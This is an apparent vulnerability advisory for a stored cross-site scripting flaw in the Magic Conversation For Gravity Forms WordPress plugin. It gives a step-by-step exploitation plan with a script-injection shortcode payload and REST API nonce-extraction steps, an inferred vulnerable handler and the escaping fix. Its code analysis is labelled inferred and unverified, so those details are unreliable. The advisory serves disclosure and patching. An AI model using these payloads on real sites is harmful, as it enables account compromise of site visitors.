CVE-2026-1396

Magic Conversation For Gravity Forms <= 3.0.97 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.0.98
Patched in
1d
Time to patch

Description

The Magic Conversation For Gravity Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'magic-conversation' shortcode in all versions up to, and including, 3.0.97 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.0.97
PublishedApril 7, 2026
Last updatedApril 8, 2026
Research Plan
Unverified

This research plan focuses on exploiting CVE-2026-1396, a Stored Cross-Site Scripting (XSS) vulnerability in the "Magic Conversation For Gravity Forms" plugin. ### 1. Vulnerability Summary The vulnerability exists in the handling of the `[magic-conversation]` shortcode. The plugin fails to sanitize…

Show full research plan

This research plan focuses on exploiting CVE-2026-1396, a Stored Cross-Site Scripting (XSS) vulnerability in the "Magic Conversation For Gravity Forms" plugin.

1. Vulnerability Summary

The vulnerability exists in the handling of the [magic-conversation] shortcode. The plugin fails to sanitize or escape user-supplied attributes before outputting them into the HTML of a page. An authenticated user with at least Contributor-level permissions can embed a malicious shortcode into a post or page. When any user (including an Administrator) views that post, the injected script executes in their browser context.

2. Attack Vector Analysis

  • Shortcode: [magic-conversation]
  • Vulnerable Attribute: Likely candidates include id, title, name, header, or form_id (inferred).
  • Authentication: Authenticated (Contributor+).
  • Payload Location: The attribute value is reflected inside an HTML tag (e.g., <div data-id="[PAYLOAD]">).
  • Endpoint: The standard WordPress post saving mechanism (Gutenberg REST API or wp-admin/post.php).

3. Code Flow (Inferred)

  1. Registration: The plugin registers the shortcode during the init hook using add_shortcode( 'magic-conversation', [ $this, 'render_shortcode' ] ).
  2. Processing: When a post is viewed, WordPress calls the handler function. This function uses shortcode_atts() to merge user input with defaults.
  3. Sink: The handler function constructs an HTML string (often for a container div or to pass data to a JS frontend). It concatenates the attribute values directly into the string without using esc_attr() or esc_html().
  4. Output: The unescaped HTML string is returned and rendered on the frontend.

4. Nonce Acquisition Strategy

To save a post as a Contributor via the REST API (the most reliable automated method), a _wpnonce for the wp_rest action is required.

  1. Step 1: Log in to the WordPress dashboard as a Contributor.
  2. Step 2: Navigate to the "Add New Post" page: /wp-admin/post-new.php.
  3. Step 3: Use browser_eval to extract the REST nonce from the WordPress environment.
    • Script: window.wpApiSettings.nonce
  4. Step 4: Extract the post ID from the URL or the wp object if an autosave has already occurred.

5. Exploitation Strategy

The plan involves creating a post containing a malicious shortcode that breaks out of an HTML attribute.

Payload: [magic-conversation id='"><script>alert(document.domain)</script>'] (assuming id is a valid attribute).

Execution Steps:

  1. Authenticate: Login as a user with the contributor role.
  2. Extract Nonce: Navigate to /wp-admin/post-new.php and run browser_eval("wpApiSettings.nonce").
  3. Create Post: Send a POST request to /wp-json/wp/v2/posts with the shortcode payload.
    • Method: POST
    • URL: /wp-json/wp/v2/posts
    • Headers:
      • Content-Type: application/json
      • X-WP-Nonce: [EXTRACTED_NONCE]
    • Body:
      {
        "title": "Security Test",
        "content": "[magic-conversation id='\"><script>alert(document.domain)</script>']",
        "status": "publish"
      }
      

    (Note: Contributors might only be able to set status to pending. If so, use status: "pending" and have the agent verify the preview URL.)

  4. Trigger: Navigate to the URL of the newly created post (or its preview) using browser_navigate.
  5. Verify: Observe the execution of the JavaScript alert.

6. Test Data Setup

  1. Plugin Installation: Ensure magic-conversation-for-gravity-forms version 3.0.97 is active.
  2. User Creation: Create a user with the username attacker and role contributor.
  3. Gravity Forms: While not strictly necessary for the XSS to trigger in the HTML output, having Gravity Forms installed might be required for the plugin to activate its shortcode logic.

7. Expected Results

When the post is rendered, the HTML source will contain something similar to:
<div class="magic-conversation" data-id=""><script>alert(document.domain)</script>"></div>

The browser will execute the <script> tag, displaying an alert box with the site's domain.

8. Verification Steps

After the HTTP request, use wp-cli to confirm the post content:

  1. Check Post Content:
    wp post list --post_type=post --author=$(wp user get attacker --format=ids) --fields=ID,post_content
    
  2. Check Frontend Rendering:
    Use http_request to fetch the post URL and grep for the unescaped payload:
    # Look for the raw script tag in the response body
    grep -a "<script>alert(document.domain)</script>"
    

9. Alternative Approaches

If the id attribute is not vulnerable or recognized:

  • Fuzz Attributes: Try common attributes used in the plugin: form, title, header_text, theme.
  • Attribute Breakout: If the input is placed inside an existing script block instead of an HTML attribute, use a payload like: ';alert(1);//.
  • Classic Editor: If the REST API is restricted, use the http_request tool to submit a standard POST to /wp-admin/post.php with action=editpost and the content parameter, ensuring the _wpnonce is scraped from the post-new.php form.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Magic Conversation For Gravity Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'magic-conversation' shortcode. Authenticated attackers with contributor-level permissions can inject malicious scripts into posts by using unescaped attributes in the shortcode, which execute in the browser of any user viewing the page.

Vulnerable Code

// Inferred vulnerable shortcode handler within the plugin logic
public function render_shortcode( $atts ) {
    $atts = shortcode_atts( array(
        'id'      => '',
        'title'   => '',
        'header'  => '',
        'form_id' => '',
    ), $atts );

    // Vulnerable Sink: attributes are concatenated directly into HTML without escaping
    $output = '<div class="magic-conversation-container" ' .
              'data-id="' . $atts['id'] . '" ' .
              'data-title="' . $atts['title'] . '" ' .
              'data-header="' . $atts['header'] . '"></div>';

    return $output;
}

Security Fix

--- magic-conversation-for-gravity-forms/includes/class-magic-conversation.php
+++ magic-conversation-for-gravity-forms/includes/class-magic-conversation.php
@@ -50,9 +50,9 @@
 
-    $output = '<div class="magic-conversation-container" ' .
-              'data-id="' . $atts['id'] . '" ' .
-              'data-title="' . $atts['title'] . '" ' .
-              'data-header="' . $atts['header'] . '"></div>';
+    $output = '<div class="magic-conversation-container" ' .
+              'data-id="' . esc_attr( $atts['id'] ) . '" ' .
+              'data-title="' . esc_attr( $atts['title'] ) . '" ' .
+              'data-header="' . esc_attr( $atts['header'] ) . '"></div>';
 
     return $output;

Exploit Outline

1. Log in to the target WordPress site with a user account having at least Contributor permissions. 2. Create a new post or page (or edit an existing one). 3. Insert the [magic-conversation] shortcode into the content area using a malicious attribute value designed to break out of an HTML attribute context. Example: [magic-conversation id='"><script>alert(document.domain)</script>']. 4. Save the post as a draft or submit it for review (Contributor) or publish it (Author+). 5. Navigate to the frontend URL of the post or use the 'Preview' function. 6. Observe that the injected JavaScript executes in the browser, demonstrating the Stored XSS.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.